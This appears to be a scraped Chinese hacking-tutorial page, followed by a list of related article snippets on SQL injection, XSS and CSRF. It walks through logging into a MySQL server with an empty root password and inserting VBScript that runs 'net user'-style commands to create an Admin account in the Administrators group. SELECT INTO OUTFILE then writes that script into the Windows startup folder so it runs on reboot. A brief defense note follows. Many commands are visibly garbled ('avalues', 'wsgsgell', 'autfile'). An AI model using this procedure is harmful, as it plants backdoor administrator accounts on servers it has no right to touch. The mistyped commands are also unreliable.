  如果你機器上安裝了MYSQL,就可用如下命令:#mysql -u root -h 192.168.0.1 連線成功後,看看伺服器有什麼資料庫:mysql>show databases MYSQL預設安裝時會有MYSQL、TEST這兩個資料庫。 mysql>use test 進入test後,看看裡面有什麼資料:mysql>shows tables 那裡什麼也沒有,那麼我就在裡面建立一個新表:mysql>create table lonely (abc text) 這裡我建立了一個表名為lonely、欄位為abc的表格。
  我們再寫一個增加Admin、密碼為123的使用者的命令。如下:
mysql>insert into avalues ("setwshell=createobject ("" W S cript.shell"" )");
mysql>insert into avalues ("a=wshshell.run (""cmd.exe /c net Admin 123/add"",0)");
mysql>insert into avalues ("b=wsgsgell.run(""cmd.exe /c net localgroup Administrators admin/add"",0);看看有沒有輸入錯的地方: mysql>select*forma 輸出表為一個VCS的指令碼檔案:mysql>select *from ainto autfile "c://docume~1//alluse~1//[開始] 選單//程式//ceshi.vbs";

我們把表中的內容輸入到啟動組中,是一個VBS的指令碼檔案!注意“/”符號。現在所有工作都完成了,下面就是等機器重起,機器重起後,ceshi.vbs也會跟著啟動,到時候他機器裡就有使用者為Admin、密碼為:123的超級使用者了。

防禦方法:
對於這種攻擊方法的防禦最簡單、安全的方法就是給MYSQL的Root使用者增加口令。方法如下:
本地設定密碼:mysql uroot password 密碼
遠端設定密碼:grant select,update,delete on *..*to
[email protected]
” identified by “密碼”如下:
mysql>grant select,update,delete on *..*to [email protected]” identified by"123">/c
mysql>grant select,update,delete on *..*to [email protected]” identified by"123"query ok,0rous affected<0 34 see>

編後語:希望通過本文給各位朋友帶來點幫助,寫得還有很多不足之處,因為工作的原因,沒有太多的時間把整個安全配置過程寫得更詳細,如需學習更多的伺服器攻、防知識,請訪問伺服器焦點網站 http://www.serverfocus.net 或 http://www.cnhack.cn 。如有問題及建議請發E-mail至
[email protected]
。 hits.asp?id=1131

相關推薦

MSSQL注入攻擊伺服器防護

文章被髮表在黑客防線第5期,是幾個人合寫的喲 慘的是竟然沒有寫我的名字,唯一想說的一句是fuck 黑防! WinNT系統下許可權設定與黑客的較量 前言:在各種網路上的伺服器上,只要黑客能成功入侵不同配置的伺服器,都會得到一定的許可權,比較GUEST或SYSTEM許可權等,但這

SQL注入攻擊原理幾種防禦方式

一、SQL注入簡介 SQL注入是比較常見的網路攻擊方式之一,它不是利用作業系統的BUG來實現攻擊,而是針對程式設計師程式設計時的疏忽,通過SQL語句,實現無帳號登入,甚至篡改資料庫。 二、SQL注入攻擊的總體思路   1.尋找到SQL注入的位置 2.判斷伺服器型別和後臺

syn攻擊原理防護措施

何為syn攻擊?   先普及下tcp3次握手的知識,在TCP/IP中,tcp協議提供可靠的socket連線服務,通過3次握手建立可靠連線。 tcp3次握手過程:   第一階段:某終端向伺服器傳送syn(syn=x)請求訊息,並進入SYN_SEND狀態   第二階段:伺服器收

Mssql 注入攻擊,普通許可權使用者提權操作

如果該使用者能夠建立資料庫的話 use mastergo create database bookgouse bookgoalter database book set RECOVERY FULLgocreate table cmd (a image)gobackup dat

Web安全之SQL注入攻擊技巧防範

在Web1.0時代,人們更多是關注伺服器端動態指令碼語言的安全問題,比如將一個可執行指令碼(俗稱Webshell)通過指令碼語言的漏洞上傳到伺服器上,從而獲得伺服器許可權。在Web發展初期,隨著動態指令碼語言的發展和普及,以及早期工程師對安全問題認知不足導致很多”安全血案”

Xml外部實體注入漏洞(XXE)防護

Xml外部實體注入(XXE) 除了json外,xml也是一種常用的資料傳輸格式。對xml的解析有以下幾種常用的方式:DOM,SAX,JDOM,DOM4J,StAX等。然而這幾種解析方式都可能會出現外部實體注入漏洞,如微信支付的回撥就出現過(見參考資料2)。

sql注入攻擊初探例項分析

      來看看錶的結構:mysql> show create table zzz; +-------+----------------------------------------------------------------------------------

WEB攻擊之XSS攻擊防護

分享一下我的偶像大神的人工智慧教程!http://blog.csdn.net/jiangjunshow 也歡迎轉載我的文章,轉載請註明出處 https://blog.csdn.net/aabbyyz XSS的背景與介紹 背景 隨著網際網路的發展,網站

discuzX3.2 X3.4網站漏洞修復 SQL注入請求偽造攻擊利用修復

2018年12月9日,國內某安全組織,對discuz X3.2 X3.4版本的漏洞進行了公開,這次漏洞影響範圍較大,具體漏洞是discuz 的使用者前段SQL注入與請求偽造漏洞,也俗稱SSRF漏洞,漏洞產生的原因首先:php環境的版本大約PHP5.2,dizcuzX3.2 X3.4版本,伺服器環境是

WEB攻擊之CSRF攻擊防護

原文地址:https://www.daguanren.cc/post/csrf-introduction.html CSRF 背景與介紹 CSRF定義: 跨站請求偽造(英語:Cross-site request forgery),也被稱為 one-click attack 或者 session

【SQL注入技巧拓展】————2、MySQL注入攻擊防禦

本文主要是做一個Mysql的注入總結,對於Mysql來說利用的方式太過於靈活,這裡總結了一些主流的一些姿勢。 一、注入常用函式與字元 下面幾點是注入中經常會用到的語句 控制語句操作(select, case, if(), ...) 比較操作(=, like, mod()

Django之sql注入,XSS攻擊,CSRF攻擊原理及防護

sql注入的危害非法操作使用者資料庫的資料來獲取利益,通過修改資料庫來修改網頁的內容,注入木馬等比如下面的使用者登入時進行sql注入class LoginUnsafeView(View): def get(self,request): return r

SQL入門——摘自SQL注入攻擊防禦

SQL查詢由一條或多條SQL語句構成,這些語句是資料庫伺服器能夠有效執行的指令。操作資料庫或執行SQL注入時最長碰到的SQL語句是SELECT,INSERT,UPDATE,CRATE,UNION SELECT和DELETE.1.SELECT語句SQL命令以分號“;”結束執行,

SQL注入攻擊以及防護

在學習、面試過程中,多次接觸過SQL注入攻擊,今天我們就來好好總結一下吧。 SQL注入攻擊是黑客對資料庫進行攻擊的常用手段之一。SQL注入攻擊是指提交一段資料庫程式碼,根據程式返回的結果獲得某些他想得

sql注入攻擊防禦第二章

第二章 SQL注入測試 在知道什麼是sql注入以及sql注入的產生過程之後,自然的我們就會想到在什麼情況下可以進行sql注入?怎麼進行sql注入? 首先回答第一個問題,並非所有的網站都可以進行sql注入攻擊,sql注入漏洞只會出現在訪問資料庫的應用中,如果應用未連線任何

網路安全攻擊防護--HTML學習

第一節、 HTML基本語法(文末有對該文視訊講解)   HTML的官方介紹什麼的我就不說了,打字也挺累的,只簡單介紹一下吧,其他的懂不懂都沒關係。  HTML全稱為Hypertext Markup Language,中文解釋為超文字標記語言。  在HTML語言中,所有的標記都必須用尖括號(即大於號&

xss原理、攻擊方式防禦

客戶端 包含 pre window frame com 跨站 行處理 iframe xss原理: xss叫跨站腳本攻擊,是Web程序中常見的漏洞只用於客戶端的攻擊方式,其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當其它用戶瀏覽該網站時,這段HTML代

圖解ARP協議(二)ARP攻擊原理實踐

tcp/ip arp協議 網絡安全 局域網安全 一、ARP攻擊概述在上篇文章裏,我給大家普及了ARP協議的基本原理,包括ARP請求應答、數據包結構以及協議分層標準,今天我們繼續討論大家最感興趣的話題:ARP攻擊原理是什麽?通過ARP攻擊可以做什麽,賬號是否可以被竊取?有哪些常見的ARP滲透(攻

[crash詳解防護] KVO crash

eval nat new mat not 自身 init 步驟 Coding 一、KVO介紹 KVO(Key-Value Observing),鍵值監聽。它提供一種機制:指定的被觀察者的屬性被改變後,KVO就會通知觀察者,觀察者可以做出響應。   KVO作用:利

XSS攻擊原理以及防護

nbsp mage site 返回 cors ges 跨站腳本攻擊 流程圖 發送請求 XSS:跨站腳本攻擊(corss site scripting)的危害:可以盜取各類用戶的賬號,如用戶網銀賬號、各類管理員賬號 盜取企業重要具有商業價值的資料,非法轉賬,控制受害者機器向其